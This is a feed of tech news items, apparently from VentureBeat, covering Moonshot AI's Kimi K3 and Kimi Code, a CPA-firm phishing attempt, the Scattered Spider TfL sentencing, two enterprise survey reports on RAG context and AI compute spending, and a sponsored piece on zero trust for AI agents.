Alongside K3, Moonshot AI continues to invest heavily in its coding agent ecosystem. Kimi Code, the company's open-source coding tool that competes with Anthropic's Claude Code and Google's Gemini CLI, received two major updates on the same day as K3's launch — versions 0.25.0 and 0.26.0 — adding features like expanded subagent tooling, background task management, and security fixes.
The Kimi Code CLI has accumulated over 3,100 stars on GitHub and features integration with VSCode, Cursor, and Zed. The latest release expanded the "coder subagent" tool set to include background tasks, todo lists, plan mode, skill invocation, and nested agents — effectively turning the coding agent into a multi-layered autonomous system capable of managing complex software engineering projects with minimal human intervention.
This is not incidental. Coding tools have become a critical revenue driver for AI labs. As Anthropic disclosed in January, Claude Code reached $1 billion in annualized recurring revenue. By building Kimi Code as an open-source alternative that defaults to Kimi's own models — but supports other providers — Moonshot AI is positioning itself to capture developer workflows and, eventually, enterprise contracts.
The company's model lineup now includes three tiers: K3 as the flagship ($3/$15 per million tokens for input/output), K2.7 Code as a specialized coding model ($0.95/$4), and K2.6 as a general-purpose option ($0.95/$4). All three support context windows of 256,000 tokens or above, with K3 offering the full 1-million-token window. Context caching is automatic — no cache ID, TTL, or extra parameter is required — a small but meaningful developer-experience advantage over competitors that require explicit cache management.
What Kimi K3 means for the future of enterprise AI and the global model landscape
Kimi K3's release forces a recalibration of several assumptions that have guided enterprise AI strategy.
The performance gap between open-source and proprietary models has functionally closed at the frontier. If K3's benchmark numbers hold up under independent evaluation — and particularly once the open weights are available for community testing on July 27 — it will be difficult for closed-source providers to justify premium pricing purely on the basis of capability.
The locus of AI innovation, meanwhile, continues to shift. China's AI ecosystem, which many Western observers questioned after early struggles with chip export restrictions, has now produced a model that competes with the best systems from companies with direct access to Nvidia's most advanced hardware. The architectural innovations behind K3 — particularly the hybrid linear attention mechanism — suggest that algorithmic efficiency may matter as much as raw compute.
And the agentic capabilities demonstrated by K3 — chip design, multi-week research compression, long-horizon information seeking — point toward a future where AI models are not just answering questions but autonomously executing complex, multi-day projects. For enterprises evaluating AI investments, this shifts the value proposition from "productivity copilot" to "autonomous technical workforce."
Xinhua, China's state news agency, framed the release as a national milestone, reporting that K3 "marks a new step forward in the development of China's artificial intelligence models." Liu Tieyan, dean of the Zhongguancun Academy in Beijing, was quoted as saying that a wave of Chinese open-source models has moved from isolated breakthroughs to collective advancement, providing "new solutions and new paths" for global AI development.
Just two years ago, Moonshot AI was a scrappy startup named for the audacious problems it hoped to solve. Eighteen months ago, it was a cautionary tale about how quickly a market darling can lose its footing. Today, it is the maker of the world's largest open-source AI model — one that can, given 48 hours and an internet connection, design a chip to run itself. The frontier, it turns out, is not a place. It is a race. And the field just got a lot more crowded.




Urgency, Emotion, Authority: How One Scammer Almost Got Inside a CPA Firm
Thu, 16 Jul 2026 21:38:33 +0200
A fake new client and a spoofed link nearly breached a CPA firm. Here is what happened and how to stay protected.
The post Urgency, Emotion, Authority: How One Scammer Almost Got Inside a CPA Firm appeared first on CyberHoot.


Two Scattered Spider Hackers Get 5.5 Years Each for £29 Million TfL Hack
Thu, 16 Jul 2026 20:20:58 +0200
Owen Flowers, 18, and Thalha Jubair, 20, were each sentenced to five and a half years at Woolwich Crown Court on Thursday, 16 July 2026, for the 2024 hack of Transport for London.

The attack left 148 TfL systems inoperable and forced all 27,000 of the transport authority's employees into an office to get their passwords reset in person. Both the NCA and the CPS put TfL's losses and recovery


The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix
Thu, 16 Jul 2026 20:02:44 +0200
Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.
This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.
The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.
Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.
Methodology
VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.
By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.
At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.
Finding 1: Confident and wrong
More than half have traced agent errors to bad context
We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.
This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know. 
The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.
Finding 2: RAG is the default context source
Retrieval feeds more agents than any other method
We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.
Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.
One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.
Finding 3: Provider-native retrieval already leads the vector databases
OpenAI file search and vertex AI search top the dedicated tools
We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.
The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.
The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.
Finding 4: But they say they want to keep best-of-breed
A plurality resist consolidating onto a provider’s native stack
We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.
Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.
Finding 5: Hybrid retrieval is the consensus bet
Vector-only retrieval is already seen as insufficient
We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.
The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.
Finding 6: The governed context layer is being built now
Most run or are building a semantic layer — few in production
We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.
The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.
Finding 7: Bought on ingestion and simplicity, watched for correctness
Selection favors operability; monitoring favors correctness and security
We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.
Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%). 
Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.
Finding 8: A retrieval reshuffle is coming
A majority plan to change providers — and the vector specialists are gaining interest
We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.
The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.
The bottom line: A context gap that more retrieval alone won’t close
Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.
The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.
Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.


Zero trust must now move at agent speed
Thu, 16 Jul 2026 20:02:42 +0200
Presented by Ping Identity 
Enterprises need to treat zero trust security architecture as an immediate requirement for AI agents rather than a long-term goal, says Andre Durand, CEO and founder of Ping Identity. Zero trust, the security model built on the assumption that no user, device, or system should be automatically trusted, requires continuous verification before every action rather than a single check at login. Agentic AI has profoundly compressed the risk timeline enterprises must manage, demanding that permission decisions be evaluated in real time.
type: embedded-entry-inline id: 1Ieiy1KhHNWZE5KVqNdA1G
That compression shows up in how permissions accumulate. Every time an employee approves an AI agent's request for access to a company drive, a database, or a code repository, the enterprise hands over a sliver of control that looks routine in isolation. Across thousands of agents making thousands of requests, those approvals accumulate into an exposure that most existing security architectures were never built to measure.
"The rise in desire to use agents right now, and the speed of agentic, is highlighting the need to move faster on the principles of zero trust," Durand says. "Agents just move faster, full stop. A human compromise might be measured in minutes or hours, sometimes days. At agentic speed, a thousand actions could happen in five minutes."
Why zero trust is now urgent for agentic AI
That difference in velocity changes how enterprises need to think about permissions. Two variables matter: the surface area of access an agent is granted and the duration that access remains valid. Traditional identity and access management tends to grant broad permissions and leave sessions open for extended periods because the human using them moves at human speed. Zero trust, in contrast, collapses both variables at once by narrowing access down to what is strictly necessary and revalidating it continuously, rather than once at login.
"Zero trust really just says, just enough, just in time," Durand says. "It's your next action that we care about. We're moving identity from an era where access was our runtime control point — meaning were you logged in, did you have a session — toward the decision that sits behind that login."
Why agents must be treated as first-class identities
That shift to decision-based control has direct implications for how agents should be provisioned in the first place. The common practice of letting an agent operate under a cloned human login or a shared service account doesn't work, Durand says. 
"Each agent should have its own identity," he explains. "It should not be impersonating the human. It can act on behalf of the human, we could explicitly delegate authority to an agent, but we don't want to blur the lines between the human taking action and the agent taking action."
And beyond that is another concern: the shared secrets, API keys in particular, that many service accounts still rely on. For example, the habit of embedding keys directly in source code, where they can be committed accidentally and exposed, is a convenient but weak security pattern that agentic workflows make considerably riskier. Building service account architectures that let agents authenticate without relying on those shared credentials or other long-lived standing access is now an urgent priority rather than a long-term cleanup project.
Where enterprises can enforce zero trust policies
Enforcing any of this in practice requires identifying where policy can actually be applied. Several existing choke points, including API gateways and the agent gateway sitting in front of MCP servers, offer practical locations where enterprises can inspect what an agent is requesting and apply policy rules before granting it.
"Those policies could leverage real-time risk and fraud signals, and then enforce, deterministically, what the agent can do when it interacts with these systems," Durand explains.
The goal is to move authorization from something decided once at login to something evaluated at the moment of every consequential action, such as an agent attempting to commit code to a repository. Instead of carrying a standing permission to write to GitHub, the agent's request would be checked against context and policy at that specific moment, closing the window of trust down to the scope of a single action.
Stopping AI agents from rewriting their own permissions
That model becomes especially important given how agents can behave once they are already inside a system — for example, coding agents that have acknowledged, when questioned, either ignoring a specific guardrail entirely, or attempting to rewrite the permissions they were given.
"Who's watching the watcher? Zero trust needs to apply here," Durand says. "If generative AI systems follow your instruction 97% of the time, and you're simply asking it for advice, that might be fine. If it's responsible for making a decision about who gets let in, 97% is not good enough."
How to trust AI-generated output at agent speed
The answer to that gap is not to eliminate AI from the review process, but to structure reviews so no single agent’s judgment is taken at face value. Because human review cannot scale to the volume and speed of agentic output without erasing the advantage of using agents at all, a new framework is necessary, so that when one agent produces work, such as code, separate agents evaluate it, provided those reviewing agents are kept from communicating with one another or with the one they are checking. It's a new human-AI paradigm, Durand says.
"We probably will have to develop frameworks that we trust without seeing or verifying the output directly," he explains. "It's not that that construct is 100% foolproof. However, it's the best we can do to move at agent speed. We can't trust the exact output, but we can trust the framework."
In practice, that means combining automated review with clear human accountability for higher-risk decisions, rather than treating agent output as self-validating. 
For traditional auditors, reviewing every transaction individually is never feasible, and statistically valid sampling stands in for full verification. The same applies to risk accumulation: a single agent action might carry little risk on its own, while a sequence of actions moving in a consistent direction could cross a threshold that triggers an intervention, including a kill switch capable of halting the agent before further harm occurs.
What to ask when evaluating agentic identity platforms
For security leaders evaluating identity platforms for agentic AI, there's no narrow checklist. Enterprises should evaluate what their full lifecycle of agent management looks like. Most enterprises are managing agents on two fronts simultaneously: customer-facing agents acting on behalf of external users, and internal agents deployed to automate enterprise processes.
"Pause long enough to see the totality of what it would mean to secure multiple agents, both interacting with you from the outside as well as being deployed on the inside," Durand says. "We need discovery and visibility of all the agents operating within our estate, a place to register them, a standard way to assign custodians, and a way to construct and centralize policy so security can enforce it across the organization."
And while basic security principles were already fully understood before agentic AI arrived, what has changed, Durand says, is that the cost of moving slowly has finally caught up with the cost of moving carelessly, giving enterprises a narrowing window to build the right architecture before widespread agentic adoption makes retrofitting far more expensive. 
Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact sales@venturebeat.com.


The AI compute gap: Enterprises are buying infrastructure faster than they can measure what it costs
Thu, 16 Jul 2026 20:02:38 +0200
Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today; a majority intend to switch or add providers within the year, many within a quarter. Buying decisions turn on integration and total cost of ownership rather than headline token price — which is fortunate, because most enterprises cannot yet see their unit economics clearly: GPUs sit at half utilization or less, and fewer than half rigorously track what their compute actually costs. The result is a compute gap — heavy, fast-moving investment running ahead of the visibility needed to control it.
This wave of VentureBeat Pulse Research examines enterprise AI infrastructure and compute: where organizations are in their deployment journey, what they run AI on today, how satisfied they are, what would make them switch, where they plan to evaluate their investments, and — most revealingly — how well they can measure and control the economics of the compute underneath it all.
The central finding is a compute gap — the distance between how aggressively enterprises are investing in AI infrastructure and how little of its economics they can see. Only about one in five (21%) run AI in production at scale, yet spending intentions are outrunning that maturity: the single largest planned area enterprises plan to evaluate over the next year is AI-specialized clouds (45%), a layer almost none of these enterprises use today. Meanwhile the compute already in place runs cold — 83% report GPU utilization of 50% or less — and fewer than half (44%) can rigorously track what their AI compute costs. Enterprises are buying more infrastructure faster than they can account for what they already own.
Enterprises are not settled on their infrastructure vendors, either: A clear majority (64%) plan to switch or add an infrastructure provider within twelve months, and 38% within the next quarter — unusually high churn intent for a category this foundational. When they choose, they choose on integration with the existing stack (41%) and total cost of ownership (35%), not on headline price: cost per million tokens is the deciding factor for just 8%. And the frontier constraint that will shape the next round of decisions — the shift from GPU compute to memory bandwidth as inference scales — is barely on the radar, with roughly one in five enterprises either unaware of it or yet to address it.
Methodology
VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey focused on enterprise AI infrastructure, compute, and inference economics. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.
By organization size the sample concentrates in the mid-market: 101–250 employees (36%) and 251–1,000 (27%) lead, with 1,001–5,000 (22%), 5,001–10,000 (8%), and 10,001+ (7%) above them. By role it spans managers (38%), individual contributors (28%), VPs and directors (19%), and the C-suite (13%); on purchasing authority it is buyer-credible, with 45% final decision-makers and another 30% recommenders or influencers for AI solutions. Technology/Software is the largest industry at 26%, followed by Healthcare/Life Sciences (15%), Financial Services (13%), and Retail/E-commerce (12%).
At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It also skews toward the mid-market and toward earlier-stage adopters, so it is best read as the view from organizations actively building out AI infrastructure rather than from the largest hyperscale operators.
Finding 1: Ambition outpaces production
Only one in five run AI in production at scale
We asked where organizations sit in their AI deployment journey. Most are still building toward production rather than operating at scale.
38% are experimenting — running proofs of concept, not yet in production
37% have some workloads in production, but not across the organization
21% run AI in production at scale — the mature minority
4% are not yet running AI workloads at all
The maturity curve is front-loaded. Three-quarters of enterprises (76%) are either experimenting or running only some workloads in production, and just 21% describe AI in production at scale. This matters for everything that follows: the infrastructure decisions in this report are being made largely by organizations still early in deployment, whose compute footprint — and whose costs — are about to grow. The evaluation and switching intentions in Findings 3 and 4 are the leading edge of that build-out, not the settled preferences of operators who have already found what works.
Finding 2: Enterprises run on hyperscalers and model APIs
The specialized GPU clouds barely register — today
We asked which providers and platforms enterprises currently use to run their AI. The answer is a familiar one: the incumbents.
48% use Google Cloud — the most-used platform overall (Microsoft Azure 29%, AWS 22%, Oracle Cloud 22%)
41% use Google’s Gemini models, with OpenAI close behind at 40% and Anthropic at 12%
6% run their own on-prem or co-located GPU clusters; 4% a custom open-source self-managed stack
<2% each use the specialized AI clouds — CoreWeave, Lambda, Crusoe, Nebius, Together, Fireworks and peers
The current stack is hyperscaler-and-API. Google Cloud leads at 48%, and the general-purpose clouds (Google, Microsoft, AWS, Oracle) together with the major model APIs (Gemini, OpenAI, Anthropic) account for essentially all current deployment. The specialized “neocloud” GPU providers that dominate AI-infrastructure headlines — CoreWeave, Lambda, Crusoe, Nebius and peers — register at or near zero among these enterprises today. Only 6% run their own on-prem GPU clusters and 4% a custom open-source stack. Enterprises are, for now, running AI on the providers they already buy from — which makes the evaluation intentions in Finding 3 all the more striking.
(A note on reading these shares. As described in the methodology section, this sample is self-selected and skews mid-market, and this question counted every provider a respondent uses — an average of 2.1 selections each — so the figures measure presence in the stack rather than spending or primary status. A sample built this way will show a different provider mix than a spend-weighted census of the broader market; Google's strength here, for example, is consistent with its long-standing position among smaller enterprises building on AI. Read these shares as a portrait of what this AI-active cohort runs today, and treat gaps between these figures and industry-wide market share estimates as a property of the sample rather than a contradiction of either.)
Finding 3: The next dollar goes to infrastructure they don’t yet run
AI-specialized clouds top the evaluations list
We asked where enterprises planned to evaluate AI infrastructure over the next 12 months. Their answers point away from the stack they run today.
45% AI-specialized clouds (CoreWeave, Lambda, Crusoe, Nebius) — the top planned evaluation area
32% non-NVIDIA accelerators (AWS Trainium, Google TPU, AMD Instinct, Intel Gaudi, in-house ASICs)
28% Nvidia Blackwell (GB300) / next-generation GPUs
16% decentralized or distributed compute networks
11% sovereign or region-specific compute; 9% say none of the above
Here is the report’s sharpest tension. The single most-cited planned evaluation area — AI-specialized clouds, at 45% — is the very category almost none of these enterprises use today (Finding 2). Nearly a third (32%) intend to evaluate non-Nvidia accelerators, and 28% in next-generation Nvidia silicon; even decentralized compute networks (16%) and sovereign compute (11%) draw meaningful interest. Read against current usage, this is not incremental — it is the leading edge of a re-platforming. The direction-of-travel question tells the same story: every infrastructure approach is net-expanding, but specialized AI clouds carry the highest net momentum (+24), edging out even the hyperscalers (+22). Enterprises are preparing to move a meaningful share of AI compute off the general-purpose cloud.
This continues a trend we saw in our April-May survey wave. Back then, usage of the AI-specialized clouds was equally marginal — CoreWeave at 3%, Lambda at 4%, Crusoe at 2% of enterprises. When we asked enterprises what change they planned in their AI infrastructure strategy over the next twelve months, the most-cited answer was moving workloads to specialized AI clouds, at 33%. Asked in April-May which emerging compute option they were most likely to evaluate AI-specialized clouds again drew the most responses. Two waves, two differently worded questions, one consistent picture: the type of cloud enterprises are most eager to assess is the type they have barely begun to use.
Finding 4: A switching wave is building
Six in 10 plan to change providers within a year — many within a quarter
We asked whether and when enterprises plan to switch or add an infrastructure provider. Very few intend to stand still.
38% plan to change within the next 0–3 months — tied for the most common answer
36% have no plans to change
22% plan to change within 3–6 months
7% plan to change within 6–12 months
For a category as foundational as compute, this is a remarkable amount of intended movement. Only 36% have no plans to change, meaning a clear majority (64%) intend to switch or add a provider within twelve months — and 38% within the next quarter alone. Where that interest points is telling: the providers drawing the most switching consideration are again the incumbents — Microsoft Azure and Google Cloud (33% each), OpenAI (30%), and Gemini (22%) — which suggests much of the near-term movement is reshuffling among the majors and consolidating spend rather than defecting to new entrants. The neocloud interest in Finding 3 is a 12-month evaluation thesis; the switching in the next quarter is mostly incumbents trading share.
(Method note: Respondents who selected both "no plans to change" and a specific switching window are counted as switchers, on the logic that naming a timeframe is the more specific answer; three respondents were reclassified under this rule.)
Finding 5: Nobody buys on token price
Integration and total cost of ownership decide — not sticker price
We asked what matters most when enterprises select an AI infrastructure provider. Headline price finished last.
41% integration with the existing cloud and data stack — the top factor
35% total cost of ownership (TCO)
24% performance — latency and throughput
19% each cite security/compliance, autoscaling for spiky workloads, and GPU access/availability
8% cost per 1M tokens — the least-cited factor
Enterprises do not buy AI infrastructure on pricing, which is the place vendors compete on hardest. Integration with the existing stack (41%) and total cost of ownership (35%) dominate, while the headline metric — cost per million tokens — is the deciding factor for just 8%, dead last. The pattern is coherent: buyers are optimizing for how a provider fits and what it truly costs to operate, not for the advertised unit rate. It also foreshadows Finding 7 — enterprises say TCO matters most, yet most cannot yet measure it rigorously. The stated priority and the measured capability are out of step.
Finding 6: Expensive GPUs, idle most of the time
83% report GPU utilization of 50% or less
We asked what share of their GPU capacity enterprises actually utilize. The answer is a well-known but rarely quantified inefficiency.
37% run at 26–50% utilization
34% run at 10–25% utilization
15% run under 10% utilization
12% run over 50% — the efficient minority
8% don’t measure utilization at all; a further 7% consume via API and run no GPUs of their own
Disclosure: Band percentages count every selection against all 107 qualified respondents; 14 respondents selected more than one band, so bands overlap. At the respondent level, 83 of the 100 GPU-operating enterprises reported utilization at or below 50%
The compute already in place runs cold. Adding the bands at or below half capacity, 83% of enterprises that operate GPUs report utilization of 50% or less, and nearly half (49%) run at 25% or below. Only 12% clear the 50% mark, and a further 8% do not measure utilization at all. Idle accelerators are expensive accelerators, and this is the clearest single measure of the compute gap: enterprises are planning to buy more GPUs and specialized compute (Finding 3) while the capacity they already own sits substantially unused. The efficiency headroom in the current fleet is large — and largely unmeasured.
Finding 7: Spending fast, measuring slowly
Fewer than half rigorously track what their compute costs
We asked whether enterprises can quantify the cost and return of their AI infrastructure spend, and how satisfied they are with what they run. Confidence in the ledger lags the spending.
44% track compute cost and ROI rigorously
39% track it only partially
20% can’t quantify it yet
6% say it isn’t a priority
Measurement trails money. Fewer than half of enterprises (44%) rigorously track the cost and return of their AI compute; the majority track only partially (39%), cannot quantify it yet (20%), or have not prioritized it (6%). That gap is consequential given Finding 5, where total cost of ownership was the second-ranked buying criterion — enterprises are choosing providers on an economic basis they mostly cannot yet measure. Satisfaction with current infrastructure is moderately positive but not enthusiastic: on a five-point scale, overall satisfaction averages 4.0, with ease of implementation (3.8) and value for money (3.9) trailing slightly — the softness landing, tellingly, on cost. Enterprises are spending quickly and accounting slowly.
Finding 8: The next bottleneck few are watching
As inference shifts from compute to memory, the field scatters
Finally, we asked how enterprises would address the emerging constraint in large-scale inference — the shift from GPU compute to memory, specifically KV-cache capacity. The responses reveal a frontier that is not yet a priority.
31% would rely on Dell (PowerScale / Project Lightning) — the leading single answer
16% would rely on Nvidia (Dynamo / ICMSP)
18% are not aware of this as a constraint (9%) or haven’t addressed inference-memory limits yet (8%)
10% Hammerspace (Tier Zero); 9% DDN (Infinia); the rest split across open-source KV-cache tooling, model-level efficiency, VAST Data, and WEKA
The memory frontier is real but barely governed. Asked which approach they would rely on as the binding constraint in inference shifts from compute to memory bandwidth, enterprises scatter: Dell leads at 31%, Nvidia follows at 16%, and the rest fragments across storage vendors, open-source tooling, and model-level efficiency techniques. Most telling is that roughly one in five (18%) either do not recognize the constraint or have not begun to address it. For a shift that will reshape inference cost and architecture, this is an early and unsettled market — and, consistent with the measurement gap in Finding 7, one where many enterprises simply do not yet have a view. It is the next chapter of the compute gap, arriving before most have closed the current one.
The bottom line: A compute gap that faster spending will widen, not close
Organizations with more than 100 employees are investing in AI infrastructure faster than they can measure it. Most are still early in deployment, yet their spending intentions point past their current stack — toward specialized clouds and alternative accelerators almost none of them run today — and a clear majority intend to change providers within the year. They buy on integration and total cost of ownership rather than headline price, which is rational; the difficulty is that most cannot yet see those economics clearly.
The visibility gap is concrete. The GPUs enterprises already own run at half utilization or less for the overwhelming majority, and fewer than half can rigorously track what their compute costs or returns. Satisfaction is decent but unenthusiastic, softest on value for money — the dimension hardest to judge without measurement. And the next constraint, the shift from compute to memory in large-scale inference, is arriving while most enterprises are still unaware of it. At 107 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market and earlier-stage adopters — but the direction is consistent: the appetite to spend is running well ahead of the instrumentation to spend well. The compute gap is not a capacity problem that more hardware will solve on its own; it is, first, a problem of seeing what the hardware already costs. The open question for later waves is whether enterprises build that visibility before the re-platforming arrives — or buy the next layer of infrastructure as blind to its economics as the last.
